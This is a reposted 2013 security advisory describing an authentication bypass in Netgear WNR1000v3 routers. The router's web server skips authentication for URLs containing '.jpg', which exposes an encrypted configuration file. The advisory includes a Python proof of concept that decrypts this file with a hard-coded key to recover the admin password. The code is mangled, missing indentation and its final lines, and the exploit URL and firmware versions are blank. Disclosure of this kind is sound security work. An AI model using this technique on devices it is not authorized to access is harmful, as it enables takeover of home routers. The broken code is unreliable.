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HistoryApr 08, 2013 - 12:00 a.m.

Authentication bypass on Netgear WNR1000


Authentication bypass on Netgear WNR1000

Title: Authentication bypass on Netgear WNR1000
Discovery date: 10/11/2012
Release date: 29/03/2013
Credits: Roberto Paleari ([email protected], twitter: @rpaleari)

Class: Authentication bypass, weak encryption

This security vulnerability affects the following products and firmware

  • Netgear WNR1000v3, firmware version <

Other products and firmware versions are probably also vulnerable, but they
were not checked.

The web server running on the affected devices is subject to an authentication
bypass issue that allows attacker to gain administrative access, circumventing
existing authentication mechanisms.

Strictly speaking, the web server skips authentication checks for some URLs,
such as those that contain the substring ".jpg" (without quotes). As a
consequence, an attacker can retrieve the current device configuration by
accessing the following URL:


The resulting configuration file is encrypted. However the device implements a
trivial encryption scheme, that can be reversed quite easily. From the
configuration file, attackers can extract, among the other things, the
clear-text password for the "admin" user.

A Python procedure that implements the aforementioned encryption scheme
follows (the code of this PoC is inefficient and is quite a mess):

import pyDes
import os, sys

Encryption key is a slightly variation of "NtgrBak"

KEY = [0x56-8, 0x74, 0x67, 0x72, 0x42, 0x61, 0x6b, 0x00]

def derive_des_key(ascii_key):
def extract_by_offset(offset):
byte_index = offset >> 3
bit_index = byte_index << 3

    v0 = &#40;ascii_key[byte_index] &lt;&lt; 8&#41; | ascii_key[byte_index+1]
    v1 = 8 - &#40;offset - bit_index&#41;
    v0 &gt;&gt;= v1
    return v0 &amp; 0xfe

k = &quot;&quot;
for i in range&#40;0, 7*8, 7&#41;:
    k += chr&#40;extract_by_offset&#40;i&#41;&#41;
return k

def decrypt_block(block, key_bytes):
k = derive_des_key(key_bytes)
des = pyDes.des(k, pyDes.ECB)
r = des.decrypt(block)
return r

def main():
data =
assert (len(data) % 8) == 0

current_key = KEY[:]

r = &quot;&quot;
for i in range&#40;0, len&#40;data&#41;, 8&#41;:
    current_key[0] += 8
    if current_key[0] &gt; 0xff:
        current_key[0] = current_key[0] - 0x100
        current_key[1] += 1

    block = data[i:i+8]
    d = decrypt_block&#40;block, current_key&#41;

    r += d



This issue has been addressed by Netgear with firmware version

The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.